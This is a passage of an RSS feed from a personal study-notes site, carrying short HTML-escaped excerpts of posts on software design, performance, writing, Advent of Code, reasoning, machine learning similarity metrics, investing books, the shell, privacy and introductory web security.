 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I&amp;rsquo;ve also encountered the &amp;ldquo;you aren&amp;rsquo;t gonna need it&amp;rdquo; (YAGNI) school of thought
that aims to minimize writing code that anticipates too far into the future, as
such guesses usually don&amp;rsquo;t pan out. &lt;span class="citation-ref"&gt;&lt;a href="#WikiYAGNI"&gt;&lt;/a&gt;&lt;/span&gt; Design patterns seem
like they exist somewhere between designing for now, and designing for a
possible future. A design pattern solves a specific problem being encountered
&lt;em&gt;now.&lt;/em&gt; And even within a design pattern, one could still adhere to YAGNI, and
add pieces when needed. When it does come to the point where the design needs
more features, at least the design pattern provides a mental framework that is
consistent with the initial design of the system.&lt;/p&gt;</description></item><item><title>General Tips on Performance and Optimization</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/performance/general-tips/</link><pubDate>Tue, 26 Jul 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/performance/general-tips/</guid><description>&lt;p&gt;Trying to optimize may lead to errors and high-maintenance/change-resistant
code. If there&amp;rsquo;s no need to optimize, let the code be. &lt;span class="citation-ref"&gt;&lt;a href="#isoCPPPerformance"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Only optimize performance-critical parts of a program. If your program spends 4%
of its processing time doing computation A, and 40% of its time doing
computation B, a 50% improvement on A is only as impactful as a 5% improvement
on B. &lt;span class="citation-ref"&gt;&lt;a href="#isoCPPPerformance"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Complicated and/or low-level code is not necessarily faster than simple code.
Optimizers sometimes do marvels with simple and/or high-level code. &lt;span class="citation-ref"&gt;&lt;a href="#isoCPPPerformance"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>The Writing Process</title><link>https://www.curiosities.dev/writing/the-writing-process/</link><pubDate>Sun, 17 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-writing-process/</guid><description>&lt;h2 id="planning-deciding-what-and-how-to-write"&gt;Planning: Deciding What and How to Write&lt;/h2&gt;
&lt;p&gt;If you can&amp;rsquo;t envision the audience, think, &amp;ldquo;If someone had needed to give you
this info 6 months ago, how should they have done it?&amp;rdquo; &lt;span class="citation-ref"&gt;&lt;a href="#Covington2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Each section (and sub-section, recursively) should have its purpose. &lt;span class="citation-ref"&gt;&lt;a href="#Covington2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;How is the purpose defined? Maybe each question should be an answer to an
implicit question.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;If stuck on ordering, first write down ideas in random order, and then sort
them. Sections need not be planned linearly. For example, the introduction can
be last after knowing what it&amp;rsquo;ll introduce. &lt;span class="citation-ref"&gt;&lt;a href="#Covington2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2021 Day 01: Sonar Sweep</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/SonarSweep/</link><pubDate>Fri, 18 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/SonarSweep/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-01'&gt;
 
 Day 1 - Advent of Code 2021: Sonar Sweep&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 18, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;As the submarine drops below the surface of the ocean, it automatically
performs a sonar sweep of the nearby sea floor. On a small screen, the
sonar weep report (your puzzle input) appears: each line is a
measurement of the sea floor depth as the sweep looks further and
further away from the submarine.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>01. The Case for the Scout Mindset</title><link>https://www.curiosities.dev/knowing/scout-mindset/01-the-case-for-the-scout-mindset/</link><pubDate>Fri, 17 Dec 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/scout-mindset/01-the-case-for-the-scout-mindset/</guid><description>&lt;h2 id="two-types-of-thinking"&gt;Two Types of Thinking &lt;span class="citation-ref"&gt;&lt;a href="#Galef2021-Ch1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 id="soldier-mindset"&gt;Soldier Mindset&lt;/h3&gt;
&lt;p&gt;Reasoning is like defensive combat. Finding out you’re wrong means suffering a
defeat. Seeks out evidence to fortify and defend your beliefs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Directionally motivated reasoning.&lt;/strong&gt; When we want something to be true, we
ask, &amp;ldquo;Can I believe this?&amp;rdquo; When we don&amp;rsquo;t want something to be true, we ask,
&amp;ldquo;Must I believe this?&amp;rdquo; &lt;span class="citation-ref"&gt;&lt;a href="#Gilovich1991"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 id="scout-mindset"&gt;Scout Mindset&lt;/h3&gt;
&lt;p&gt;Reasoning is like mapmaking. Finding out you’re wrong means revising your map.
Seeks out evidence that will make your map more accurate.&lt;/p&gt;</description></item><item><title>Brandolini's Bullshit Asymmetry Principle</title><link>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/01-brandolinis-law/</link><pubDate>Sun, 11 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/01-brandolinis-law/</guid><description>&lt;h2 id="the-principle"&gt;The Principle&lt;/h2&gt;
&lt;p&gt;Brandolini&amp;rsquo;s Bullshit Asymmetry Principle: &lt;em&gt;The amount of energy needed to
refute bullshit is an order of magnitude bigger than to produce it.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Brandolini2014"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;In 
&lt;a href="https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/02-frankfurt-on-bullshit/##the-essence-of-bullshit"
 
 
 
 &gt;
 Essence of Bullshit
 
&lt;/a&gt;
, Frankfurt posits
that the essence of bullshit is lack of concern for the truth, which may explain
why bullshit is easier to produce.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Jonathan Swift: &lt;em&gt;Falsehood flies, and the Truth comes limping after it; so that
when Men come to be undeceiv&amp;rsquo;d, it is too late; the Jest is over, and the Tale
has had its Effect&amp;hellip;&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Swift2014"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Similarity Measures</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/01-similarity-measures/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/01-similarity-measures/</guid><description>&lt;p&gt;To classify something, find things that are similar and label it with the same
class as the most similar thing.&lt;/p&gt;
&lt;p&gt;The feature space is \(N-d\), where \(N\) is the number of features.
Each instance is mapped to a point. The descriptive features become the axes.&lt;/p&gt;
&lt;h2 id="the-similarity-metric"&gt;The Similarity Metric&lt;/h2&gt;
&lt;p&gt;Mathematically, it must conform to these 4 criteria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Non-negativity: \(f(a, b) \ge 0\)&lt;/li&gt;
&lt;li&gt;Identity of Indiscernables: \( f(a, b) = 0 \iff a = b \)&lt;/li&gt;
&lt;li&gt;Symmetry: \( f(a, b) = f(b, a) \)&lt;/li&gt;
&lt;li&gt;Subaddivity (Triangular inequality): \( f(a, b) \le f(a, c) + f(c, b) \)&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Why are non-negativity and triangular inequality important? It seems that we should think of the similarity metric as a measure of &amp;ldquo;distance&amp;rdquo;. Distance between two instances obeys the non-negativity &amp;amp; triangular inequality conditions.&lt;/p&gt;</description></item><item><title>Similarity Measures</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/similarity-measures/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/similarity-measures/</guid><description>&lt;p&gt;To classify something, find things that are similar and label it with the same
class as the most similar thing.&lt;/p&gt;
&lt;p&gt;The feature space is \(N-d\), where \(N\) is the number of features.
Each instance is mapped to a point. The descriptive features become the axes.&lt;/p&gt;
&lt;h2 id="the-similarity-metric"&gt;The Similarity Metric&lt;/h2&gt;
&lt;p&gt;Mathematically, it must conform to these 4 criteria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Non-negative: \(f(a, b) \ge 0\)&lt;/li&gt;
&lt;li&gt;Identity: \( f(a, b) = 0 \iff a = b \)&lt;/li&gt;
&lt;li&gt;Symmetry: \( f(a, b) = f(b, a) \)&lt;/li&gt;
&lt;li&gt;Triangular inequality: \( f(a, b) \le f(a, c) + f(c, b) \)&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Why are non-negativity and triangular inequality important? It seems that we should think of the similarity metric as a measure of &amp;ldquo;distance&amp;rdquo;. Distance between two instances obeys the non-negativity &amp;amp; triangular inequality conditions.&lt;/p&gt;</description></item><item><title>01: Exceptional, Maybe</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/01-exceptional-maybe/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/01-exceptional-maybe/</guid><description>&lt;p&gt;Mum: Tiger-Mum tendencies, smart, gullible. Dad: non-academic, vocational.&lt;/p&gt;
&lt;p&gt;Young Jimmy independently arrived at Zeno&amp;rsquo;s Paradox, and concluded that the
family car should never need gas.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Reminds me of an anecdote a friend told me about intern interviews for one of the big banks. Something like, if you keep moving half the distance, how many moves do you need to make in order to touch some object? The expected answer was impossible, but I didn&amp;rsquo;t buy it. Zeno was being taken out of context. Touching something doesn&amp;rsquo;t mean zero distance between your hand and the thing. Close enough to get the touch sensation fired up is all we need. Unless we&amp;rsquo;re talking nuclear reactors, get that Zeno logic outta here.&lt;/p&gt;</description></item><item><title>Prologue</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-0/01-prologue/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-0/01-prologue/</guid><description>&lt;p&gt;Fall 1990. Simons had spent 12 years searching for a successful investing
formula. In 1989, his net returns were -4.0%. In 1988, he had netted 9.0%. In
1990, he netted 55.0% (77.8% before fees).&lt;/p&gt;
&lt;p&gt;With Elywn Berlekamp, game theorist professor at UCB, Simons built a model for
selecting idea trades based on data.&lt;/p&gt;
&lt;p&gt;Berlekamp knew their approach was alchemic - no cash flows, interest rate
forecasts, product research. Some of the trade recommendations didn&amp;rsquo;t make
sense.&lt;/p&gt;</description></item><item><title>Thinking About Data Systems</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/01-thinking-about-data-systems/</link><pubDate>Sun, 22 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/01-thinking-about-data-systems/</guid><description>&lt;p&gt;The access patterns for a data system (e.g. database, cache, etc.) motivate different implementations, and thus performance characteristics.&lt;/p&gt;
&lt;p&gt;Because many applications have a wide range of requirements, single tools no longer meet all of the data processing and storage needs. It&amp;rsquo;s up to the application to stitch together different tools.&lt;/p&gt;
&lt;p&gt;Despite the behind-the-scenes stitching, the data system may provide certain guarantees, e.g. the cache will be correctly invalidated.&lt;/p&gt;</description></item><item><title>The Missing Semester of your CS Education [MIT]</title><link>https://www.curiosities.dev/computer-science/the-missing-cs-semester/_meta/</link><pubDate>Sun, 09 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/the-missing-cs-semester/_meta/</guid><description/></item><item><title>01. The Shell</title><link>https://www.curiosities.dev/computer-science/the-missing-cs-semester/01-the-shell/</link><pubDate>Thu, 06 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/the-missing-cs-semester/01-the-shell/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Topic 1: The Shell&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://missing.csail.mit.edu/2020/course-shell/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=missing.csail.mit.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;missing.csail.mit.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="what-is-the-shell"&gt;What is the Shell?&lt;/h2&gt;
&lt;p&gt;At their very core, shells are all roughly the same: &lt;em&gt;they allow you to run programs, give them input, and inspect their output in a semi-structured way.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="potpourri-of-shell-utilities-and-programs"&gt;Potpourri of Shell Utilities and Programs&lt;/h2&gt;
&lt;p&gt;We can find out which file is executed for a given program name using the &lt;code&gt;which&lt;/code&gt; program, e.g. &lt;code&gt;$ which python&lt;/code&gt; gives me &lt;code&gt;/Users/dchege711/anaconda3/bin/python&lt;/code&gt;&lt;/p&gt;</description></item><item><title>01. What is Mathematics About?</title><link>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/01-introduction/01-what-is-mathematics-about/</link><pubDate>Fri, 13 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/the-princeton-guide-to-mathematics/01-introduction/01-what-is-mathematics-about/</guid><description>&lt;p&gt;Classifying mathematics by its subject matter may be misleading because the
kinds of questions being asked may be the same, despite different subject
matter.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Does it then imply that questions in math can be approached through any
technique, but some techniques are simply more efficient than others?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Nonetheless, classifying by subject matter, we crudely have algebra, geometry
and analysis.&lt;/p&gt;
&lt;h2 id="algebra-vs-geometry"&gt;Algebra vs. Geometry&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s insufficient to claim that algebra contains symbols, while arithmetic
contains numbers. In advanced mathematics, numbers rarely appear without
letters.&lt;/p&gt;</description></item><item><title>The Man Who Solved The Market [Zuckerman, Gregory]</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/_meta/</link><pubDate>Tue, 05 Nov 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/_meta/</guid><description/></item><item><title>Calling Bullshit [INFO 270]</title><link>https://www.curiosities.dev/knowing/calling-bullshit/_meta/</link><pubDate>Sun, 01 Sep 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/_meta/</guid><description/></item><item><title>01. Firm Foundations and Castles in the Air</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-01-firm-foundations-and-castle-in-the-air/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-01-firm-foundations-and-castle-in-the-air/</guid><description>&lt;p&gt;Random walk: &lt;em&gt;future steps or directions cannot be predicted on the basis of past history.&lt;/em&gt; Thus, short-run changes in stock prices are unpredictable.&lt;/p&gt;
&lt;h2 id="investing-as-a-way-of-life-today"&gt;Investing as a Way of Life Today&lt;/h2&gt;
&lt;p&gt;Difference between speculations and investments: time period and predictability of the return.&lt;/p&gt;
&lt;p&gt;To stay even, your returns must match inflation (averaged 4% from 1962 to 2018).&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;With regard to beating inflation, that implies all the money that&amp;rsquo;s in people&amp;rsquo;s bank accounts is depreciating, as opposed to maintaining value. Consequently, money in the bank should be for short-term use - an emergency fund and that&amp;rsquo;s it(?)&lt;/p&gt;</description></item><item><title>Motivation for Differential Privacy in Datasets</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/01-big-data-and-privacy/</link><pubDate>Mon, 25 Mar 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/01-big-data-and-privacy/</guid><description>&lt;p&gt;The goal is to make large datasets safe, i.e. no harm to you from having your data included.&lt;/p&gt;
&lt;h2 id="sanitize-and-transfer-model"&gt;Sanitize and Transfer Model&lt;/h2&gt;
&lt;p&gt;Remove all PII, _e.g. name, SSN, mobile number, etc, before releasing the dataset.&lt;/p&gt;
&lt;p&gt;However, the list of PII is not necessarily complete. Furthermore, combinations of seemingly non-PII data can be jointly identifying.&lt;/p&gt;
&lt;p&gt;Using an auxilliary dataset is a common re-identification method, e.g. 
&lt;a href="https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/2010-narayanan-myths-and-fallacies-of-pii/#reidentification-without-pii"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Narayanan and Shmatikov [2010]
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 combined IMDB ratings and comments to deanonymize a Netflix dataset.&lt;/p&gt;</description></item><item><title>Information and Technology Policy [WWS 351]</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/_meta/</link><pubDate>Mon, 04 Feb 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/_meta/</guid><description/></item><item><title>Privacy in CS and in the Law</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/01-privacy-in-cs-and-in-the-law/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/01-privacy-in-cs-and-in-the-law/</guid><description>&lt;h2 id="incomplete-list-of-information-privacy-properties"&gt;Incomplete List of Information Privacy Properties&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Control/consent, &lt;em&gt;e.g. Cambridge Analytica exfiltrating FB users&amp;rsquo; data&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;
&lt;a href="https://www.curiosities.dev/politics-and-governance/2020-01-27-tech-and-democracy/#cambridge-analytica-uncovered"
 
 
 
 &gt;
 Discussion on Cambridge Analytica
 
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Anonymity, &lt;em&gt;e.g. Snowden leaking NSA docs without revealing his identity&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Limits on data collection, &lt;em&gt;e.g. laws restricting government surveillance&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Limits on data use, &lt;em&gt;e.g. US Genetic Information Nondiscrimination Act of 2008&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Under GINA, health insurers must not use genetic information of the clients (or clients family) to inform their policy. The military can though, and other insurance like long-term care, life and disability are exempt. Employers (except the military) are prohibited from making decisions based on genetic information. &lt;span class="citation-ref"&gt;&lt;a href="#GINA"&gt;&lt;/a&gt;&lt;/span&gt; As of 2020, in Florida, long-term-care, life and disability insurers are no longer exempt. &lt;span class="citation-ref"&gt;&lt;a href="#Haughey2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Web Applications 101</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/01-web-applications-101/</link><pubDate>Wed, 21 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/01-web-applications-101/</guid><description>&lt;h2 id="how-does-a-page-embed-content-from-other-domains"&gt;How does a page embed content from other domains?&lt;/h2&gt;
&lt;p&gt;Method 1: Loading a third party script that modifies the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- Page Content --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;widget&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#75af00"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;https://third-party.com/widget.js&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Method 2: Loading a third party resource in an iframe.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- Page Content --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt; &lt;span style="color:#75af00"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;https://third-party.com/widget.js&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;iframe&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="how-do-you-stay-logged-in-wo-re-entering-password"&gt;How do you stay logged in w/o re-entering password?&lt;/h2&gt;
&lt;p&gt;HTTP cookies!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alice&amp;rsquo;s browser sends a &lt;code&gt;GET&lt;/code&gt; request to &lt;code&gt;http://www.example.com/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://www.example.com&lt;/code&gt; responds with a &lt;code&gt;Set-Cookie&lt;/code&gt; instruction containing a token representing the logged in state, e.g. &lt;code&gt;session-id=...&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Whenever Alice visits a page at &lt;code&gt;www.example.com&lt;/code&gt;, the browser sends the &lt;code&gt;session-id&lt;/code&gt; cookie with the request.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="how-does-doubleclick-track-users-from-site-to-site"&gt;How does DoubleClick track users from site to site?&lt;/h2&gt;
&lt;p&gt;Third-party cookies&lt;/p&gt;</description></item><item><title>Information Security [COS 432]</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/_meta/</link><pubDate>Wed, 12 Sep 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/_meta/</guid><description/></item><item><title>01. A Purposeful Life</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/01-a-purposeful-life/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/01-a-purposeful-life/</guid><description>&lt;p&gt;Holmes wanted to be a billionaire since childhood. Her parents were from wealth, with medical and military folk. Holmes attended Houston&amp;rsquo;s most prestigious private school. She spoke her way into Stanford&amp;rsquo;s Mandarin program, &lt;em&gt;while still in high school&lt;/em&gt;. Parents insisted on living a purposeful life.&lt;/p&gt;
&lt;p&gt;Worked in lab during school year. Freshman internship at Genome Institute of Singapore: nasal swabs and syringes. There had to be a better way.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Ah, the transformative experience abroad.&lt;/p&gt;</description></item><item><title>Bad Blood [John Carreyrou]</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/_meta/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/_meta/</guid><description/></item><item><title>ML Crash Course [dev@google]</title><link>https://www.curiosities.dev/computer-science/machine-learning/ml-crash-course/_meta/</link><pubDate>Wed, 28 Feb 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ml-crash-course/_meta/</guid><description/></item><item><title>Examples of Influential Power</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/01-examples-of-influential-power/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/01-examples-of-influential-power/</guid><description>&lt;h2 id="night-ride---april-18-1775"&gt;Night Ride - April 18, 1775&lt;/h2&gt;
&lt;p&gt;Paul Revere and William Dawes.&lt;/p&gt;
